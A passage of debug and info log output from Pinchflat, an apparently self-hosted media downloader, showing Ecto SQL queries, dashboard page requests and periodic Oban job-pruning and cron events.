m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12549] 22:17:25.328 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:25.329 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.329 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.329 [debug] QUERY OK source="settings" db=0.5ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:25.330 [info] Sent 200 in 4ms 22:17:25.330 [info] Sent 200 in 2ms 22:17:51.160 [info] {"source":"oban","duration":4625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.374 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:21.164 [info] {"source":"oban","duration":2698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:51.170 [info] {"source":"oban","duration":2493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.378 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:21.176 [info] {"source":"oban","duration":3389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:51.183 [info] {"source":"oban","duration":4638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.379 [info] {"source":"oban","duration":215,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:21.191 [info] {"source":"oban","duration":3111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:51.199 [info] {"source":"oban","duration":3343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.384 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:21.208 [info] {"source":"oban","duration":5409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:51.217 [info] {"source":"oban","duration":5917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.388 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:21.223 [info] {"source":"oban","duration":4459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:51.239 [info] {"source":"oban","duration":4784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.396 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:21.250 [info] {"source":"oban","duration":5052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:51.256 [info] {"source":"oban","duration":4538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.406 [info] {"source":"oban","duration":1722,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:21.269 [info] {"source":"oban","duration":5218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:51.274 [info] {"source":"oban","duration":3286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.409 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:21.281 [info] {"source":"oban","duration":4792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:51.289 [info] {"source":"oban","duration":5424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.413 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:21.295 [info] {"source":"oban","duration":2410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:51.299 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.416 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:21.306 [info] {"source":"oban","duration":2722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:51.316 [info] {"source":"oban","duration":1775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.419 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:21.320 [info] {"source":"oban","duration":2307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:51.328 [info] {"source":"oban","duration":4532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.421 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:21.337 [info] {"source":"oban","duration":4535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:51.341 [info] {"source":"oban","duration":2042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.424 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:21.348 [info] {"source":"oban","duration":5531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:51.353 [info] {"source":"oban","duration":3618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.427 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:21.362 [info] {"source":"oban","duration":5898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:51.368 [info] {"source":"oban","duration":4374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.432 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:21.376 [info] {"source":"oban","duration":4087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:51.385 [info] {"source":"oban","duration":6085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.435 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:21.394 [info] {"source":"oban","duration":6353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:51.400 [info] {"source":"oban","duration":4142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.438 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:21.403 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:51.412 [info] {"source":"oban","duration":3630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.440 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:21.421 [info] {"source":"oban","duration":4631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:51.434 [info] {"source":"oban","duration":2682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.442 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:21.440 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:51.449 [info] {"source":"oban","duration":5438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.448 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:21.453 [info] {"source":"oban","duration":1886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:33.106 [info] GET / 22:37:33.107 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:37:33.121 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=433.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:33.122 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=366.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:37:33.123 [debug] QUERY OK source="sources" db=0.2ms idle=367.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:37:33.126 [debug] QUERY OK source="media_items" db=2.5ms idle=367.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:37:33.126 [debug] QUERY OK source="media_items" db=0.6ms idle=370.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:37:33.128 [debug] QUERY OK source="settings" db=0.2ms idle=18.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:33.129 [debug] QUERY OK source="settings" db=0.3ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:33.130 [debug] QUERY OK source="settings" db=0.2ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:33.133 [debug] QUERY OK source="tasks" db=0.5ms idle=7.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:37:33.137 [debug] QUERY OK source="media_items" db=0.5ms idle=10.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:37:33.138 [debug] QUERY OK source="media_items" db=0.7ms idle=9.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:37:33.140 [debug] QUERY OK source="sources" db=0.6ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 22:37:33.147 [debug] QUERY OK source="media_items" db=3.3ms idle=13.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:37:33.149 [debug] QUERY OK source="media_items" db=1.5ms idle=13.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:37:33.149 [debug] QUERY OK source="sources" db=0.2ms idle=11.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:37:33.151 [info] Sent 200 in 44ms 22:37:51.461 [info] {"source":"oban","duration":3124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.455 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:21.466 [info] {"source":"oban","duration":2080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:51.472 [info] {"source":"oban","duration":1785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.459 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:21.485 [info] {"source":"oban","duration":3487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:43.557 [info] GET / 22:39:43.558 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:39:43.565 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=1227.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:39:43.567 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.4ms idle=521.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:39:43.567 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=522.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:39:43.571 [debug] QUERY OK source="media_items" db=3.4ms queue=0.1ms idle=523.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:39:43.573 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=230.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:39:43.574 [debug] QUERY OK source="settings" db=0.2ms idle=13.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:39:43.574 [debug] QUERY OK source="settings" db=0.3ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:39:43.575 [debug] QUERY OK source="settings" db=0.3ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:39:43.578 [debug] QUERY OK source="tasks" db=0.5ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:39:43.580 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=6.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:39:43.581 [debug] QUERY OK source="media_items" db=0.7ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:39:43.582 [debug] QUERY OK source="sources" db=0.6ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 22:39:43.586 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=9.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:39:43.588 [debug] QUERY OK source="media_items" db=1.7ms idle=8.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:39:43.589 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:39:43.591 [info] Sent 200 in 33ms 22:39:51.493 [info] {"source":"oban","duration":3302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.462 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:21.500 [info] {"source":"oban","duration":3174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:51.509 [info] {"source":"oban","duration":3908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.467 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:21.517 [info] {"source":"oban","duration":3770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:51.521 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.474 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:21.530 [info] {"source":"oban","duration":5567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:51.543 [info] {"source":"oban","duration":3238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.476 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:21.546 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:47.701 [info] 